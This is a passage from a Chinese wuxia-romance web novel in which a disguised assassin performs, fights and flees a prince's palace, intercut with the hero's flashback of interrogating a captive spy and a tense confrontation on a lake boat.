常达不明白顾怀瑾究竟想要的是什么,更不明白他那个容易为之的法子,他究竟为何拒绝。 末了,他终于道:“那么,先生想要的是。” 顾怀瑾吹着茶中热气,朝一楼高台上看去,一时无言。 良久,他道:“宫中禁军,有一支,在常何常将军的手上。常何亦是您常家人。” “是。” “大明宫的金戈侍卫,乃是摄政王亲自从亲军之中擢选而来。” “若如此,”他将茶盏放到唇边,“顾某有一事相求。” * 琵琶大会入夜仍未结束。 因着瞥见了那一抹暮山紫的影子,顾怀瑾硬生生在定王府捱到了夜里。 他等的人,及至大会接近尾声,都未出场。 台上渐渐有了一个独占鳌头之人。红纱蒙面,眉眼秾艳,一袭绯红霓裳曳地,怀里斜抱一把漆花嵌宝琵琶,涂着蔻丹的纤纤五指,拨弹如飞。 模样气定神闲。然而音色浑圆清脆,如玉珠落盘,便是外行人,也听得出功力高深。 “此人乃是我府中的曲欢姑娘。”常达巴不得顾怀瑾留在他定王府中,殷勤陪客,带点得意之色朝他介绍,“她的琵琶可谓一绝,人亦生得美。不瞒您说,达乃一粗人,旁的鉴赏不了,唯有这美色,尚可鉴赏一二。先生您若是也好这一口……” 说着,拿眼睛试探地瞄他。 顾怀瑾犹自闲望下去,未发一言。 常达自讨没趣,也知对坐了一日,自己有些松懈,失礼又失言,闭了嘴巴。 桌上茶壶,满了又空,空了又满。 常达半是谄媚,半是炫耀,将府上所有名茶一一奉了上来,请顾怀瑾品茶。 台上,那红衣女子当心一划,一阵铮然之声。众宾客一阵拍手叫好,候在高台一侧的对手,黯然垂首,颓丧地下了台。 雅室珠帘又被人拨开,一个奴才拎着 茶壶进来,恭恭敬敬为常达倒茶。 常达含着自得的笑:“此乃今岁新产的雪中凝香。乃是由……” 话未完,那奴才手一抖,茶壶嘴歪了半寸,在常达茶盏之外注了一小颗圆圈,赶忙偏回来。 “狗奴才!”常达暴喝,茶桌一阵吱噶的响,原是他两掌往桌上一拍,将桌拍裂了,“此等珍品,你也敢倒错!拖下去,剁了爪子!” “定王。”顾怀瑾终于看不下去,淡淡拦了句。 常达忙道:“让您见笑,您见笑了。”说完,伏在桌上,将那小滩茶呲溜吸在口中,咂摸两声,“雪中凝香,名副其实,有奇香,先生尝尝。” 顾怀瑾望了他半晌,很是震惊。 末了,到底是一个字没有,继续往台上望。 华灯之下,终于有一个熟悉影子,上了台。 他心中猛地一跳。 那人蒙着面,肩上披着一袭烟紫色云纱羽裳,内里一条月色般的白裙,头上一圈圆月型的水银色璎珞,眉心坠下一颗大而圆的明珠。 抬步缓行,曳地的羽裳涟漪一般迤逦开来,层层叠叠的幻梦一般的紫,缀着明灭不定的金屑金片,仿佛黎明时明昧重重的山雾,飘渺而出尘。 入了夜,台上灯火原本已盛,她浑身璎珞环饰,甫一上台,四下里光如碎雪,难以逼视。 原本喧哗热闹的一楼,骤然鸦雀无声。 片刻。 众人仿佛被人掐住脖子,又猛然松开,倏地舒出一口气,一阵谈论私语声。 顾怀瑾只在二楼朝众宾客遥遥看了二三眼,便受不了,向后靠回椅子里,心烦意乱地望着天花板。 对面常达亦扒着栏杆往下看,短短的脖子抻得老长,人几乎坠下去。 顾怀瑾:“定王,在看什么。” 常达竟没听见。 顾怀瑾曲着手指,重重在桌上磕了两声。 常达回过神来,意外发觉这位连针锋相对,都心如止水的贵客,竟然有些没好气,不知自己是何处招惹了他,忙道:“您说,您说。” 顾怀瑾再不说了。 一楼,那红衣女子静立在舞台边缘候着,台中间的人轻捻琵琶弦,乐声如流水般丝滑淌出。 琵琶之音,与箫声笛音不同。箫声若丝,是旖旎而不断的一根,琵琶之音则如圆珠崩弹,一颗一颗,尾巴带些残影。接连速拨,便如激流撞石,涟漪圈圈套叠,层层余响;单音拨出,便如枝头鸟鹊啄破圆果,饱满清脆,果浆迸溅。 台上,南琼霜手指翻动如蝶,半点儿游疑紧张也无,将这大半个月以来所练,从容弹出。 声如急流过石,湍急激切,透亮清澈,不久,一段尽了。 一旁的公孙红抱琵琶在怀,铛的一声拨划,续接下一段。 公孙红这一段,谱子更加激越,一声一声如携刀逐月、大漠奔马,正如四下辽远广阔,急奔的马儿后蹄几乎踏上前蹄,间不容隙,不容喘息。 台下众人听得直屏息。 南琼霜坐在舞台正中的椅子上,垂眸凝神。 忽然,公孙红一个揉音。 琵琶曲戛然而断。 台上飕飕飞来两只旋转着的残影,疾如出弓之箭。 到得她面门,南琼霜倏然一个旋身。 两只飞镖分开又合并,自她飞旋起来的长发底下擦身而过,彼此撞击,擦出一点火星。 公孙红已然抱了琵琶,又弹下一段。 南琼霜圆圈旋尽,足尖刚刚点地,便闻身后一阵破空之声,二话没说,原地腾跃弯身,游鱼出水般奔向天顶华灯。 两只飞镖嗖地自她腰下空旋而过。 她折腰下落,足尖在地面蜻蜓点水般的一触,转身捻指出手,二三根闪着光点的蛛罗丝骤然自她指间引出,四下钉在舞台置景之上。 一根丝线,游蛇一般,直直钻向公孙红面门。 未等打中,她眼睫轻眨一瞬,偏头旋开。 那丝线刚刚好好钉在她面纱之上,随着她一偏首,缀金红纱翩然飘落。 公孙红一张姣好面孔,登时如山雾散尽的山花,清楚显豁地,显露于众人之前。 极乐堂中人,俱是露面便能引得街道水泄不通的美貌。这般大喇喇露脸,台下宾客一时全呆了,连领了命自殿外急奔进来的福余三卫,个个都僵滞一瞬。 南琼霜似笑非笑在台上静候片刻,容她一个惊艳众人的空当——公孙红上台前说,“琵琶圣手之名可以给你,老娘也必须出点风头”——等了一瞬,旋即出手引线,闪着光的冰丝一根自她身后横钻而过,一根明晃晃直穿在她颈前。 公孙红垂眸睨了一瞬,片刻未游疑,蛇一般一个扭身自两线之间钻出,下腰及地,手臂倏地伸至一旁摆花的柜子底下,唰地抽出一柄三尺青锋。 南琼霜骤然连退数步。 面前剑锋寒光劈头盖脸四面削来。 她手掌开开合合,五指勾勾弄弄,台上宝瓶盆栽一只一只被她的丝线钉破炸开。 丝线四面横穿,在她面前勾成一个难以逼进的阵,剑刃叮叮当当斩在她的丝线上又噔一下弹开,她镇定自若地穿线收线,旋身偏开。 福余三卫已经四面逼上了舞台。 南琼霜一个收掌成拳,四面八方闪着光的丝线顿时在她掌心缩为一点。 忽然,劈面而来一只旋出残影的飞镖,眨眼间逼至她鼻尖之前。 她一个闪身旋过,眼前又一道白花花的剑光。 这一剑,会定在她颈侧半寸处,是全剧终的暗号。 南琼霜挪步半寸,眸光并未在那剑锋上瞧一瞬,转头朝二楼窗口处眺望。 云瞒月在窗子旁叉着腿抱肩。 忽然,未等她旋身闪避,一声天崩地裂的巨响,自台上轰然炸开。 第150章 一切嗡鸣振动,殿内彩饰吊灯摇摇欲坠,头顶华灯的流苏荡成半圆的弧,整座大殿一齐弹跳着上下震了三寸。 舞台上陷出一个天坑般的大洞。 嗡鸣声久久不息。 等到烟尘木屑散尽,地板的颤动渐消,台下乐伎和堂间宾客终于有胆子扶着廊柱桌椅,怯怯朝轰鸣声的源头望去,便见雕花栏杆扯断一半的二楼,地面几已倾斜,烟尘之间,绝然立着一个居高临下之人。 黑绸覆眼,宽袍大袖,立在断栏之前,仿佛驾云临空的仙人。 那仙人,愠色已极,周身仿佛蓄有滚滚激雷,噼啪炸开。 南琼霜这时才看见,原来他从始至终在二楼观赛,从始至终在二楼看着两人斗琵琶斗武。 若如此,便可以解释了。 顾怀瑾绝不会眼睁睁看着,她被剑逼到脖子。 她抬首往另一侧二楼的窗子眺望一眼。 云瞒月见此惊变,只分神朝顾怀瑾望了一瞬,即刻便朝她招手。 二楼,常达一声断喝:“抓住她!” 披盔戴甲的福余三 卫顷刻自高台四面跨步登上来,一阵甲胄之音。 南琼霜再顾不得左顾右盼,旋身退步蓄力,便要登入空中。 忽听得烟雾之中,公孙红一阵恨得切齿的沉骂:“怎么,原是跟姑奶奶玩螳螂捕蝉呢。跟别人商量好了算计我是吧,小*崽子!想要副堂主之位?!” 剑锋一挑,烟尘倏地破开,公孙红一柄青锋骤然刺在她眼前,她猛地一个下腰,堪堪避开。 那剑唰地抽回,又自黄烟木屑之中穿刺而来,她用丝线挡得慌忙,一旋身,正见公孙红自烟雾之中穿身而出,脸上神色狰狞凶戾,一把九宝琵琶抱在怀里,手在琵琶凤凰台处,一按。 她顿时从袖中掏出一物,一展。 一阵骤雨般的瓢泼银针。 云翳锦哗啦一声螺旋着展开,罩在她周身,又被暴雨般的银针扎得凹陷扭旋。 她扯着那锦缎旋身几回。 云翳锦渐渐被银针缀得难以旋动,几乎缠绕在她身上。 九宝琵琶之内蓄的银针连发两瞬,忽而上头又一阵飓风般的咆哮声,生猛掼到一楼殿内,砰一声撞在墙上。 满殿碎石零落,人人躲避。 烟尘再破开的时候,琵琶之内银针已尽,大殿墙上扎了满满当当的银针,华灯摇晃,光影乱动,满墙光点针影齐刷刷摇摆。 南琼霜再无心恋战,趁公孙红回头望着银针去向,踮足飞身,轻手利脚在二楼另一侧尚且完好的栏杆上借力一蹬,人如雨燕一般在空中转了几周,直钻去二楼窗子旁。 窗户旁边,云瞒月等候多时,手臂打开,跨步蓄力,只待倾身一接,借势出窗。 对面,顾怀瑾却神色阴晴不定,朝着这边,无声开了掌。 南琼霜在旋转的空隙之中遥见他沉怒不已地抬起手来,心中登时一凉——这人恐怕又要疑心,她要随同僚脱身,不告而别。 果然,未待她能有所动作,身形一滞,飞身之势渐消,她在空中僵定一瞬,转而就被一股看不见的力朝对面拖去。 眼睁睁地看着云瞒月离她越来越远。 “拉我!”她急道。 云瞒月二话没说,一个纵身。 她怎么也没想到云瞒月一个纵身便能逼到她眼前。 云瞒月顷刻就蹭到了她的鼻尖。 她心中兀地一跳。 顷刻,手腕被人扯住。 未等她再反应过来,忽地便往前一个疾冲,忽地向后的力便剥落下去,忽地就到了窗边,忽地眼前就不是地面而是屋檐,忽地一片黑暗夜色。 云瞒月:“抓紧!” 她已完全赶不上,被风吹得呼吸都不得法,吊着步子跟了两步,即刻被云瞒月扯着手臂举在空中,随着她的去势,脚不沾地地跟着飞。 云瞒月带着她逃跑,实则就是拿她当纸鸢放。 她被风吹得头昏脑涨,身不由己地飞上飞下,别提帮不上忙,连眼前的东西都看不清,只看见身下街景一道一道过,屋檐一片一片闪,哪条路是哪条路,哪里是乌衣巷,已经全然不知。 定王府金丝楠木殿内,顾怀瑾立在栏杆断裂的光秃秃的二楼,神色晦暗难明。 披盔戴甲的福余三卫将领江强拨开珠帘,朝常达拱手禀报:“王爷,末将已派出三十骑兵急追。” 常达撩摆坐回太师椅内,朝顾怀瑾阴郁背影,意味深长地睨了一眼。 “若有消息,速禀本王。” 江强:“是。” “能留活口留活口。”常达啐了一声,“本王倒要看看,哪里来的狗杂碎,敢到老子头上动土。” “是。” 一众福余三卫领命下去了,甲胄哗啦声渐远。 常达坐在椅上,自斟了一盏雪中凝香,闲话一般道:“顾先生,与那女人熟识?” 顾怀瑾久久未答。 他并不知,今日她与同僚在此,所为何事、有何目的。也不知方才两人相斗,是否是演戏。 只是,带走她的那人,便是当夜,与她一同在屋檐上站着的那人。 她用来护身的那匹白绸,亦是当日,从那人手中接过的白绸。 那人或许会护着她。 可是,往哪儿去。 “顾先生。” 他恍然回过神。 一回身,便见常达擎着茶盏,两腿打开,手肘撑在膝上,滋溜滋溜喝茶。 声音倒是如常,可是常达那神色——满面络腮胡被鼻息吹得一卷一卷,狮子鼻皱出了褶,阴厉凶狠,黑眼球瞪得几乎从眼白中挤出来。 他登时知道常达在怀疑什么。 方才出手救她,常达怀疑他与刺客有染。 他唇边勾起一点笑,扑了扑袖摆。 “确实熟识。” 他缓缓道:“当年天山之祸,欺骗顾某、背叛顾某、几乎要了顾某一条命的,细作女人。” “您若逮了她,务必给个消息,告知顾某。”他笑,“顾某,认你这个人情。” 未等常达再答话,珠帘又被人哗啦撩开,江强再度单膝跪地抱拳:“王爷,后厨走水!” “后厨?”定王猛地盯着江强,想了想,又转着眼珠朝顾怀瑾望去。 顾怀瑾置身事外地倚在椅子里,手肘拄在扶手上,身形修长,长腿交叠,漠不关心。 常达:“烧到哪了?!怎会忽然走水?!” 江强为难地朝顾怀瑾瞥了一眼。府中私事,外人在此,他不敢禀报,怕常达以后翻脸不认,秋后算账。 顾怀瑾顺势告退,客气颔首:“定王事务繁多,拨冗相邀相陪,顾某已是感激。既然您有事,顾某先告辞了。” 常达正等他这句话,自然不会相留,一抱拳,沉声应:“改日再会。” * 自定王府出来,他径直去了那一夜,她和那……男人一般的女人,停歇过的屋檐。 立在高高檐角之上,屏息凝神,阖眼谛听。 夜风轻轻拂动他的长发和衣角。车马杂声和长街喧哗之中,一点清脆的、微弱的,铃铛声。 他倏地纵身奔入夜色,朝那铃铛声直直跃去。 可是,其实,他也不知还该不该去见她。 在她脚上绑了铃铛的那天,她出了无量山。她那条神出鬼没的恶犬,落入了他手中。 他在无量山上,酷刑相待,没日没夜地审了他三天。 审到最后,也不知是那条狗更煎熬,还是他更煎熬。 天山之祸,他不知道的还是太多了。 他到现在还记得,那条狗被他五花大绑捆在刑架上,浑身遍体鳞伤。血滴滴答答淌下来,在地面上蓄起一小滩。狼狈到这个地步,嘴还不肯松半分,问他往生门的内情,依旧是紧咬着犬牙,嘿嘿笑: “要报复我们往生门?先收拾收拾你那个叛徒女人吧。” 顾怀瑾手中鞭子啪一声抽在地上:“我没有问她的事。” 雾刀大笑:“是不想问,还是不敢问?” “住口!”他也不知为何,心里忐忑不安,本能地不想听。 “我只问你,往生门究竟在何处,内部如何架构,里面都有些什么人,何种机关。” “这些事,您去问您那女人不就全知道了吗?你俩相好,人家肯定说啊。”雾刀头发散下来几缕搭在额角,眼神虚脱涣散,呼呼喘气,但笑着:“我跟您说点她不会说的。” 他登时扬鞭要抽。 雾刀笑:“她爱那个姓李的爱得不行,您知道么。” 雾刀心满意足地见他手臂顿了一下。 噼啪两声,那鞭子又抽到他脸上,打得他脖子几乎折断,鼻梁骨巨酸无比,眼泪往外喷薄。 可是一抬眼。 面前男人脸色刷白。 这就有意思了,雾刀当即咧着嘴笑开:“她爱那个男的,一直没跟您说。我怎么知道的,您知道吗?”倏地压低声音,轻轻跟他耳语:“当年,那男的下山前,给她留了定情信物。” 顾怀瑾浑身紧绷:“什么信物。” “一对玉佩。”雾 刀呵着气笑,“一半儿红的,一半儿绿的,两块都跟鱼一样,可拼到一起。” 顾怀瑾霎时松了一口气。 他说的是阴阳钥。 这条蠢狗,这都不知,还要来挑拨离间。 雾刀见他并未反应,甚至从容不迫地又将鞭子卷在手里,举得老高,急道:“哎哎哎,您别着急,我没说完呢。当年那男的怎么出山的,您知道吗?” 顾怀瑾手中的鞭子登时又顿在空中。 雾刀眯着眼睛直笑:“她掉下瀑布后,意外发现了条出山密道。是她给他指的路。” “放屁!” 顾怀瑾劈头盖脸地抽下一鞭。 一阵令人胆寒的呲啦声。 雾刀面上登时一道宽而深的血痕,汨汨往下淌血,然而却更开心了:“真的,我说的都是真的。这是她回来述职时亲口所述。述职时所说一切,往生门都会回头派人调查,她差事已经了了,这点小事何必再撒谎。所以……” 又一记鞭子,飒飒生风,抽得他肩上皮开肉绽。 雾刀终于一声痛吼。 顾怀瑾嘴唇紧紧抿着,只感觉头脑里一阵嗡鸣,人有点眩晕。 当年阴阳钥失窃,他就曾怀疑过是李玄白的手笔。 倘若这条狗说阴阳钥是李玄白留给她的,那么,当年确实是李玄白偷的。 可是,李玄白拿了钥匙,却没有任何动作,反而将钥匙给了她。 然后径直消失了。 这条狗说,她知道一条出山密道。 他当年执掌全山,自然知道,她坠下的那座瀑布,下游的河,附近确实有一条路可出山。 雾刀:“所以,那姓李的小子偷了钥匙,还被她放下了山。这都是她亲口……亲口跟审录司说的。” “闭嘴!”又是狠厉生风的一鞭。 他嘴上怒吼,心里却隐约有种感觉。 他说的是对的。 说得通。 为什么她要放这个贼人下山? 他不敢往不好的地方想。 或许是为了拿到阴阳钥,交还给他。 可是。 即便是为了把阴阳钥还给他。 她也该来找他。 让他这个当年的少掌门来处理,让他抓了他,关入逝水牢用刑拷问。而不是,私下将人放了。 明知道他窃走阴阳钥,阴谋对天山不利,为什么要放他下山?! 她在那个时候,远在兰阁乞巧夜之前,就已经同天山的敌人站在一起,或许,已经想着叛他了。 他仿佛一个溺水之人,水面咕噜咕噜淹没了他的耳朵,他在水下,听所有声音都遥遥,听不清晰。 “我的话,您真的得信。”雾刀半边舌头从嘴里歪出来,舔着面上的血,啧啧品着,“后来,我俩回往生门,大家一起打牌。有一回她输了,有人好事,问她行刺这么多年,有没有对谁动过心。” 顾怀瑾手中的鞭子捏得愈发紧,手腕上筋骨绷起。 “她说有。” 顾怀瑾面无表情。 “说是,那个姓李的小子。说俩人很像,该过的过,该忘的忘。” 雾刀大笑:“这是她亲口所说,小的一字一字听得真真儿的!那您说,差事都了结了,大家伙在一起打牌,她还有必要说谎吗?!您……哎唷!” 一阵惨烈的痛呼。 “满口放屁,不会闭嘴,我教你闭!” “您别!”雾刀犹自嬉皮笑脸,“才说了这么两句,您就听不得了。我多告诉告诉您,免得您被那女人骗,是好事儿啊。” 他咬着牙道:“我只是问你往生门的内情。” 雾刀赔笑:“我同您说说她和那姓李的,头一回见面的情形吧。” “我问的是往生门的内情!”他鞭子复又高举起来。 雾刀连缩都没缩,鞭子呼呼笞过来,眼看着到了他头上,他道:“第一回见面,俩人就亲了!” 那鞭子顿时定在原处,没甩出来。 真好笑,雾刀看着面色死白的面前人,简直乐开了花。说是拷打他,不知道受罪的是谁呢。 良久,顾怀瑾倾尽全身力气,终于吐出几个字:“……你说。” “第一回啊,她路上杀了颂梅,顺便路过了那小子的住处,刚过去就被人家逮到了。然后,我不知道她怎么想的,拽着人就亲了一口。”雾刀笑,“可都是实话啊。她主动的,她上去亲的,给那小子亲懵了。不信,您去问那小子!” 顾怀瑾一直奇怪李玄白究竟是何时相中她的。几乎是两人头一次碰面,他便觉那姓李的待她不同。 那竖子那般狂傲,怎会轻易对一个女人上心。 原来。 他也早已想过,他们两人可能有些什么。或许亲过,不止一次。 可是,即便想过他们两个接吻,也未想过是她主动。 他们第一回见面。那么早。 那么早,就亲过了。 他浑身发抖:“……怎么亲的。” “就,嘴对嘴呗。两人小嘴儿一撅,么么两口。”雾刀嘴唇撅得跟朵牵牛花一般,啧啧啧啧啧的嘬个不停。 顾怀瑾许久未说话。 良久,他道:“……滚。” “什么?”雾刀竖着耳朵贴过去。 “我说,”顾怀瑾道,“滚。” 轰隆一声巨响,那一回,他力没收住,几乎将整座山狱震塌了,差点将那条狗活埋在里头。 “您别生气,还有呢。我要跟您说的事还多着呢。” 雾刀晓得他不会真的杀他,嘻嘻笑着。 顾怀瑾已是完全麻木迟钝,拿着刑具,虽然神色不露,犹保留些一山掌门的威严,可那威严已如破庙的牌匾,震慑不了什么精鬼。 雾刀越发得意,狞笑着: “您可怜她脆弱,您知道她自伤过多少回吗?多少伤是她自己装出来的。从最开始劫匪绑架就是演戏,后来她跌下台阶、烫伤手、被箭射穿,都是她自己的主意,可没人逼她。” “您见了她就动心了吧?她见您第一面就用了椿药。有一种有异香的木头,香气催人动情,可是那木头原本是剧毒之物,她为了勾.引您,身子也不顾,日日夜夜地用毒木熏香!您还真以为自己是爱她?!” “那女人,看着很可怜是吧。可是你心疼她,有没有想过是被人利用了?!她利用你的善心,阴谋对天山不利,搞垮了整个天山。您真的不恨吗?你最初,只是好心,最后,却让整个门派,因你而亡——你真的不恨吗?” 顾怀瑾什么话也说不出来了。 他最初,真的,只是好心。 后来,门派倒了,因他而亡。 不要这样想。他对自己道,不要这样想。不要被这条狗挑拨离间。要相信她。 顾怀瑾嘶了一口气,竟然笑了:“那是因为你们逼她。但凡她有得选,她绝不会背叛我。即便最初抱着恶毒心思接近我——后来,也是被你们所逼!” “我们逼她?”雾刀觉得他好笑得不可思议,“我们逼她?我的天呐,那是她自己选的!” “她当然可以选你,对你坦白,背叛我,叫你们整个天山抓我。可是,她选了吗?没有!她不信你,信我,信我们。你真的觉得她站在你那边吗?” “我了解她。她就算动过什么蠢心,脑子也还不蠢,你知道你的结局是什么吗?是被她忘了!你知道她们这群婊子,有多少男人追捧吗?你想得出来吗?!爱她们的人太多了。她们在乎得过来吗?她们那种人,不拿情爱当回事,今天说爱,明天就能杀,全他妈是演戏!她说爱,你也信?” 顾怀瑾一个字也答不了了。 雾刀笑着啐了口:“艹,也真是他妈开了眼了。婊子腿一合就能下手,嫖客哭得鼻涕三尺长……” 他话没说完。 顾怀瑾斩断了他的右手。 现在,他想,只砍他一只手, 到底还是轻了。 顾怀瑾孤身一人在夜色里飞奔,直奔那铃铛声而去。 可是,那铃铛声已经太轻、太微弱,虚幻得仿佛前尘往事,或者,是一种不祥的招魂的铃声。 他是个虚无缥缈、戾气未尽的怨鬼,不知前路是什么,只知道奔着那铃声而去。 如果可以,他真想好好哭一场。 原来,他们之间,不止是那一年的兰阁乞巧夜。 此前的许许多多个夜里,暮雪院中静谧的晚上,月亮出岫,蝉鸣依稀,他在榻上点灯批公文,她趴在他膝上睡觉,心里想着的,却是要利用他的善和爱,骗得他众叛亲离、家破人亡吧。 那条狗,到底说对了一点。 他因为一点好心,害了全山,整个天山毁在他手里。 他倾尽全力想保的、比生命更看重的,因他而倒、因他而亡。 只因当年,待她的一点善心。 她逼他成了细作帮凶、门派叛徒、灭山罪人。 他还是太傻了,想得太简单了。他们两个,早已不该在一起,原本就不该在一起的。 即便她是被逼的,他也不该就此放过。 但是,他。 他又想到死了。 先问问她吧。他在心里道,还是先问问她。 仙女湖上,游船如织,舟舟明灯煌煌,夜与水失了边界,上下对称着辉煌潋滟。 他孑然一身,立在岸边,望见湖中心,一只船首点着白莲花灯的船。 南琼霜刚刚才入了船内。 两人在乌衣巷内左折右返、东迂西回,来来回回绕了不知多少路,终于将那队无比精猛的福余三卫甩得七七八八,方向一折,上了仙女湖。 公孙红备的船早已等候在岸边。 云瞒月牵着她,撩开船篷底下的竹帘,猫着腰入了船内。 船内未点灯。 云瞒月侧身隐在船壁后,撩着竹帘,目光警惕在外逡巡,环视片刻,终于撂下帘子,严丝合缝地挡在门口。 一回头,南琼霜双手撑地跪着,喘得连头都抬不起来。 她走过去,单膝点地着蹲下,一只手在她背后帮她顺气:“还好吗?” 南琼霜连句话都说不出来。 她如今身体已经太差,不动尚可,一动便支撑不了。方才舞台上已经同公孙红斗过,又差点被顾怀瑾搅局强留,她拼着一口气才逃出来,又被云瞒月抓着胳膊在窄巷里一阵翻腾跳跃,此时已经跑得眼前一片黑,耳朵里一阵尖锐的耳鸣。 裸露在外的地方,仿佛被虫细细咬过,又痛又麻。 她大口喘着,摇头:“还好。” 云瞒月叹气:“你身子当真太差了。从前,我带着你这么跑,你绝不会喘到这地步。” 她脸色苍白,虚脱地闭了闭眼:“今时不同往日。”又对云瞒月道,“没时间了,我晕得很,你帮我瞧瞧换的衣裳在哪好不好,我看不见。” “在船尾,我看见了,你别急。”云瞒月回身环望一圈,眼皮一搭,惊见她衣裳褪了,露出大片雪色脊背,明晃晃的,叫她心里咯噔一下,“霜儿,你……” 南琼霜全然不觉有何不妥,犹自往下脱着外裳,内里的裙子系带被她解开,那条月白的裙子倏地往下滑落,她回头:“怎么?” 云瞒月不敢看了。 沉默着替她解发上璎珞和钗饰。 忽然,云瞒月手上一顿,直起身子,抬头四望。 南琼霜狐疑回过头,立时被她一根食指竖在唇间。 她刚刚褪下的外裳,被云瞒月缓缓地,披回一半,挂在肩上。 云瞒月:“有人来了。” 然后,船,轻微的,摇晃了一下。 两人登时相视一眼,站起身来,缓缓退至另一侧的门边。 云瞒月展开手臂,悄无声息地挡在她身前。 “把衣裳穿好。” 她沉默无声地将外裳拢在身上,交叠着盖住胸前。 眼前垂下的竹帘,随着船的晃动微微摇晃,不时露出丝缕的夜色和水光。 忽然,一只手,伸过来,抓住了那竹帘。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 150-160 第151章 来人长发如墨、宽袍大袖,玉雕一般的脸孔上缚着一根鸦色绸带,向后没入瀑布般的发里。 俊美无俦,面无表情。 是顾怀瑾。 两人登时一齐愣在船尾。 南琼霜忐忑望了眼云瞒月的神色。 云瞒月挡在她身前,虽也认出他便是那日屋檐上忽然出现那人,却仍拿不准他出现在此处,究竟意欲何为。 警惕未消,她侧首对南琼霜低语:“你再退开些许。” 对面,顾怀瑾闻言,不冷不热地嗤笑一声,悠哉转着手上白玉扳指。 退开? 谁是外人,这女人竟无半分自知。 他越过云瞒月,似笑非笑地朝她身后人挑眉:“娘娘。” 南琼霜不知为何,只觉这人今日又有几分不善的威压,远远相隔,都叫她有些忌惮。 顾怀瑾愈发笑了:“娘娘,这副打扮,同这女人做什么呢。” 她才想起自己衣裳已经褪了一半,里头那条长裙早已经委在地上,唯有双肩挂着那条云纱羽裳的外披。可那外披,原本便只是一层纱,交叠着拢在身上,越发能看出里面空空荡荡、影影绰绰。 顾怀瑾从见云瞒月第一面,已看她不顺眼,即便知道她是女人,也看得出她并非寻常的女人——或许,感情这一块,也不寻常。 如今,她又这副样子,同这女人在一处。 他好脾性笑着,一面玩着扳指,一面想,他当真得死一回。 他死了,比他活着,更能牵动她的心吧。 云瞒月沉声:“敢问阁下何人。” 顾怀瑾才注意到她这个人似的,终于肯认真望了她一瞬,和颜悦色笑着: “滚。” 南琼霜嘶了一口气。 这人在生气,火还不小。到底在气什么? 她轻轻拍了拍云瞒月的背:“我没事,你先回去吧。” 云瞒月诧异回身:“可是,福余三卫在此,追兵不久便会……” “顾某会处理。”顾怀瑾将话截下,十分礼貌地让出门口,微笑做了个请的手势:“滚。” 云瞒月不明就里,望望身前人,又望望身后人,忽然有种难以言明的感觉——这两个人,一见了面,便隔着她,遥遥成了同一战线,她反而成了那个被剔除在外的外人。 不仅这男人如此作想,连她也是。 她难以理解:“霜儿?” 南琼霜只是重复:“我当真没事。” 神色坚定,胸有成竹,不似作假。 云瞒月只略略思忖了半息。 她今日来,原本只是为了帮南琼霜一个忙。既然人家不需要,也许还嫌她碍事,她也不便在此不识抬举。 她讥诮勾了勾唇:“好。”抬步便走。 南琼霜一见她那神色,便知她有些下不来台,一把抓住她胳膊,“哎。” 云瞒月止住步子,侧首望她。 南琼霜有些不知如何开口,惴惴抿了抿唇,“今日谢谢你。回去……能解释的,我会同你解释。” 顾怀瑾愈发挑着眉毛笑开了,只觉这形势当真有趣。 她有那么多事亟待向他解释,那么多他放不了、咽不下、叫他受尽折磨的事,亟待她解释,可是,她连看看他、见一面都不肯。 就连他呕着血,给她传了字条,她都可以若无其事,装没看见。 结果,人家这一点难堪,她就注意到了,就在乎了,抓着人家要解释。 他发了疯死了,她都不会看一眼吧。 真心狠啊。 爱这种女人,他只是个蠢货、笑话、贱骨头。 云瞒月略有点气,但还远不到记恨的地步,听了这话,便也释怀:“无妨,人都有点自己的事。我们这些人,无法同人解释的事多了,我怎会挂怀。” 顾怀瑾在一旁听着,只是笑。 好,得了便宜还卖乖。 嫉妒之外,还恶心她清高,他笑着鼓起掌来。 他这一鼓掌,连南琼霜都闹不明白他葫芦里卖的什么药,不安的直觉愈演愈烈,瞄了他一眼,赶忙推着云瞒月后背将她推走:“快走吧,一会追兵来了。” 云瞒月一头雾水地被她推出了船,帘子一掀一撂,人不见了。 舟中顿时只余两人。 当是时,舟中并未点灯,唯有舟外月光水光随着船的摇动不时被抛入船内,在船壁上映出几根粼粼的影。 四下幽暗,顾怀瑾英俊脸孔上刚好映了两圈波光,高挺的眉骨鼻梁居中一隔,一半幽亮,一半晦暗。 南琼霜当真有些不安。 ——他,不对劲。 她吞咽了一下。 沉默得太煎熬,她朝他伸出手:“怎么了,过来。” 顾怀瑾没听见一般,遥遥站在原地,从容自若地自袖中掏出一把宝石匕首,在掌中玩着,揶揄着笑: “金兰之交,感天动地。” 阴阳怪气得太厉害,南琼霜摸不准,心惊胆战地没接话。 “娘娘,那女人并不当您是金兰之交。”顾怀瑾笑着将匕首在掌中转了 一圈,“她与我是同样的。” 南琼霜怔忪一瞬,意外之余又带点意料之中的原来如此,一时不知说什么好。 顾怀瑾闲话一般笑着:“所以,您同她做什么呢,穿成这幅样子。” 南琼霜望着他,只觉他虽然神色如常,人却已经到了某种危险的边缘,仿佛一个快要爆炸的皮球,一根针,就足以毁天灭地。 她心里一种莫名的紧急感——再不把那把刀夺过来,就来不及了。 朝他走过去,伸出手:“刀给我。” 顾怀瑾笑吟吟地避开她的手,抱着双臂,将那匕首拄在肩膀上。 “怀瑾。”她心脏吊到嗓子眼,这人不知在图谋什么可怕的东西,柔着嗓音去拉他袖子,“听话,把刀给我。” “难道娘娘以为,”他悠闲自在地将匕首尖端抵在肩上,“顾某是三岁孩童,竟会被一柄匕首误伤吗。” “若是伤了,”他笑着将刀鞘以大拇指推开,缓缓露出里面一截森寒的刃,“自然是……有意为之。” 刀刃尽数自刀鞘中亮出来之时。 南琼霜当即便道不好,飞身欲扑。 未等她将那把匕首夺在手里,脚下小舟,不知撞到了什么,猛地弹起数寸。 她惊呼一声,一个不稳,栽歪着往前。 直直跌进他怀里,撞在他胸口上。 顾怀瑾也未料到,被她搡得退了半步,支着步子稳住,由着她扑在身上。 没理会,也没推开。 可是,即便抓着他的衣襟袖摆,她方才已跑得体力不支,只稳了一瞬,霎时又两膝一软,脱力地坠下去。 他根本没想再扶她的。既然已经抓住了他衣裳,自己站起来便是。 谁知再反应过来的时候,人已经被他接在怀里。 他被自己的一部分背叛,无可奈何地将人托着腰搂着,带着她站直站稳,两手绕过他后颈,圈住自己脖子。 不冷不热地问:“娘娘这是怎么了,不是会武功么。” 袖手旁观的关怀,聊胜于无的爱护。 他语气太冷太平,冰得她难以适应,气喘微微,抬着头望他。 顾怀瑾瞧不出一点动容之意。 